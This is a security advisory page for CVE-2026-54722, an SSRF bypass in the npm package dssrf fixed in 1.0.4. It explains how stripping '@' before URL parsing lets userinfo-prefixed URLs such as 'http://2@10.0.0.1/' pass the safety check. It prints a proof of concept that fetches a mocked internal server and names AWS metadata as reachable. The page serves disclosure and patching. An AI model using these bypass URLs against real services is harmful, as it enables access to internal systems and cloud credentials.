CVE-2026-54722: Dssrf Dssrf Has An SSRF Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-cg4g-m8jx-vjv2
CWE-76
Published
Advisory Summary

CVE-2026-54722 is a HIGH dssrf has an ssrf bypass vulnerability (CWE-76: Improper Neutralization of Equivalent Special Elements) affecting Dssrf libraries in the npm ecosystem. The issue involves dssrf has an ssrf bypass with remove_at_symbol_in_string. Remediation is available by upgrading affected packages to version 1.0.4.

CVE-2026-54722 at a Glance

CVE Identifier CVE-2026-54722
GHSA Identifier GHSA-cg4g-m8jx-vjv2
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-76: Improper Neutralization of Equivalent Special Elements
Affected Product Dssrf
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-54722

To remediate this vulnerability, upgrade all affected Dssrf dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dssrf fixed: 1.0.4
npm install dssrf@1.0.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls dssrf

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-54722, inspect your project dependencies using npm:

npm ls dssrf

Analyze the terminal output to locate any version of Dssrf in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.4), your application is affected.

Note: The npm ls dssrf command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-76: Improper Neutralization of Equivalent Special Elements, where the product correctly neutralizes certain special elements, but it improperly neutralizes equivalent special elements. In Dssrf, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `is_url_safe` in v1.0.3 contains an SSRF bypass. `remove_at_symbol_in_string` is applied to the raw URL string **before** `new URL()` parses it. This strips the `@` that separates userinfo from host, corrupting the hostname so internal IPs are never checked. ## Vulnerability In `helpers.ts`, `is_url_safe` does: ```ts u = remove_at_symbol_in_string(u); // strips ALL '@' from the raw string // ... const parsed = new URL(u); const hostname = parsed.hostname; // resolved from the corrupted string ``` ### What happens step by step Input: `http://evil.com@127.0.0.1/` 1. `remove_at_symbol_in_string` → `http://evil.com127.0.0.1/` 2. `new URL(...)` → `hostname = "evil.com127.0.0.1"` 3. Not a bare IP, not IPv6 → passes all IP checks 4. `is_hostname_resolve_to_internal_ip("evil.com127.0.0.1")` → NXDOMAIN → returns false 5. **Result: `true` (safe)** — but any HTTP client using the *original* URL connects to `127.0.0.1` ### Proof of Concept ```js import nock from 'nock'; import { got } from 'got'; import { is_url_safe } from 'dssrf'; // Simulate an internal server at 10.0.0.1 that returns secret data nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA'); const BYPASS_URL = 'http://2@10.0.0.1/'; const PLAIN_URL = 'http://10.0.0.1/'; // dssrf should block both — it only blocks the plain one console.log('--- dssrf validator ---'); console.log(`is_url_safe('${PLAIN_URL}') =`, await is_url_safe(PLAIN_URL), '← correctly blocked'); console.log(`is_url_safe('${BYPASS_URL}') =`, await is_url_safe(BYPASS_URL), '← ⚠️ BYPASSED (should be false)'); // HTTP client with the bypass URL — gets SECRET_DATA back from 10.0.0.1 console.log('\n--- HTTP client ---'); try { const res = await got(BYPASS_URL, { retry: { limit: 0 } }); console.log(`got('${BYPASS_URL}') response:`, res.body, '← ⚠️ VULNERABLE'); } catch (e) { console.log(`got('${BYPASS_URL}') blocked:`, e.message); } ``` ## Root Cause `@` in a URL separates `userinfo` (credentials) from `host`. Stripping it from the raw string before parsing destroys that boundary. The fix is to **reject any URL that contains a userinfo component** after parsing. ## Suggested Fix Remove the `remove_at_symbol_in_string` call from `is_url_safe` and add a userinfo check after `new URL()`: ```ts const parsed = new URL(u); // Reject userinfo — '@' in authority is a classic SSRF bypass vector if (parsed.username !== "" || parsed.password !== "") { return false; } ``` A working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR. ## Impact - **Affected version**: 1.0.3 (latest) - **Bypasses**: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (`169.254.169.254`), any internal hostname via userinfo prefix - **Note**: The GHSA-8p33-q827-ghj5 advisory patched version (`1.0.3`) should be updated since this vector was not covered by that fix Users are strongly advised to upgrade to dssrf 1.0.4

CVE-2026-54722 Affected Dssrf Versions

1 component(s)
Fixed Versions:
1.0.4
Product / Package Ecosystem Affected Versions Fixed Version
dssrf
npm
< 1.0.4
1.0.4

References

Frequently Asked Questions

What is CVE-2026-54722?
CVE-2026-54722 is a security vulnerability in Dssrf involving dssrf has an SSRF bypass with remove_at_symbol_in_string under CWE-76: Improper Neutralization of Equivalent Special Elements.
Which Dssrf versions are affected?
Affected versions include releases prior to 1.0.4 across affected packages: dssrf.
What version fixes CVE-2026-54722?
Upgrading to 1.0.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dssrf affected?
Yes, dssrf is affected in releases prior to 1.0.4. Upgrade your dependency to 1.0.4 or later.
What CWE is associated with CVE-2026-54722?
CVE-2026-54722 is classified under CWE-76: Improper Neutralization of Equivalent Special Elements (The product correctly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.).
How can I check npm dependencies for CVE-2026-54722?
Run the dependency tree command: 'npm ls dssrf'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cg4g-m8jx-vjv2",
  "modified" : "2026-07-30T21:23:13Z",
  "published" : "2026-07-30T16:26:52Z",
  "aliases" : [ "CVE-2026-54722" ],
  "summary" : "dssrf has an SSRF bypass with remove_at_symbol_in_string",
  "details" : "## Summary\n\n`is_url_safe` in v1.0.3 contains an SSRF bypass. `remove_at_symbol_in_string` is applied to the raw URL string **before** `new URL()` parses it. This strips the `@` that separates userinfo from host, corrupting the hostname so internal IPs are never checked.\n\n## Vulnerability\n\nIn `helpers.ts`, `is_url_safe` does:\n\n```ts\nu = remove_at_symbol_in_string(u);   // strips ALL '@' from the raw string\n// ...\nconst parsed = new URL(u);\nconst hostname = parsed.hostname;    // resolved from the corrupted string\n```\n\n### What happens step by step\n\nInput: `http://evil.com@127.0.0.1/`\n\n1. `remove_at_symbol_in_string` → `http://evil.com127.0.0.1/`\n2. `new URL(...)` → `hostname = \"evil.com127.0.0.1\"`\n3. Not a bare IP, not IPv6 → passes all IP checks\n4. `is_hostname_resolve_to_internal_ip(\"evil.com127.0.0.1\")` → NXDOMAIN → returns false\n5. **Result: `true` (safe)** — but any HTTP client using the *original* URL connects to `127.0.0.1`\n\n### Proof of Concept\n\n```js\nimport nock from 'nock';\nimport { got } from 'got';\nimport { is_url_safe } from 'dssrf';\n\n// Simulate an internal server at 10.0.0.1 that returns secret data\nnock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');\n\nconst BYPASS_URL = 'http://2@10.0.0.1/';\nconst PLAIN_URL  = 'http://10.0.0.1/';\n\n// dssrf should block both — it only blocks the plain one\nconsole.log('--- dssrf validator ---');\nconsole.log(`is_url_safe('${PLAIN_URL}')   =`, await is_url_safe(PLAIN_URL),  '← correctly blocked');\nconsole.log(`is_url_safe('${BYPASS_URL}') =`, await is_url_safe(BYPASS_URL), '← ⚠️  BYPASSED (should be false)');\n\n// HTTP client with the bypass URL — gets SECRET_DATA back from 10.0.0.1\nconsole.log('\\n--- HTTP client ---');\ntry {\n  const res = await got(BYPASS_URL, { retry: { limit: 0 } });\n  console.log(`got('${BYPASS_URL}') response:`, res.body, '← ⚠️  VULNERABLE');\n} catch (e) {\n  console.log(`got('${BYPASS_URL}') blocked:`, e.message);\n}\n```\n\n## Root Cause\n\n`@` in a URL separates `userinfo` (credentials) from `host`. Stripping it from the raw string before parsing destroys that boundary. The fix is to **reject any URL that contains a userinfo component** after parsing.\n\n## Suggested Fix\n\nRemove the `remove_at_symbol_in_string` call from `is_url_safe` and add a userinfo check after `new URL()`:\n\n```ts\nconst parsed = new URL(u);\n\n// Reject userinfo — '@' in authority is a classic SSRF bypass vector\nif (parsed.username !== \"\" || parsed.password !== \"\") {\n  return false;\n}\n```\n\nA working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.\n\n## Impact\n\n- **Affected version**: 1.0.3 (latest)\n- **Bypasses**: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (`169.254.169.254`), any internal hostname via userinfo prefix\n- **Note**: The GHSA-8p33-q827-ghj5 advisory patched version (`1.0.3`) should be updated since this vector was not covered by that fix\n\n\nUsers are strongly advised to upgrade to dssrf 1.0.4",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "dssrf"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54722"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HackingRepo/dssrf-js/issues/97"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HackingRepo/dssrf-js/pull/98"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HackingRepo/dssrf-js/commit/9211f91bf532433a1a1b27d946571546a63664b3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/HackingRepo/dssrf-js"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-76" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-30T16:26:52Z",
    "nvd_published_at" : "2026-07-30T17:16:33Z"
  }
}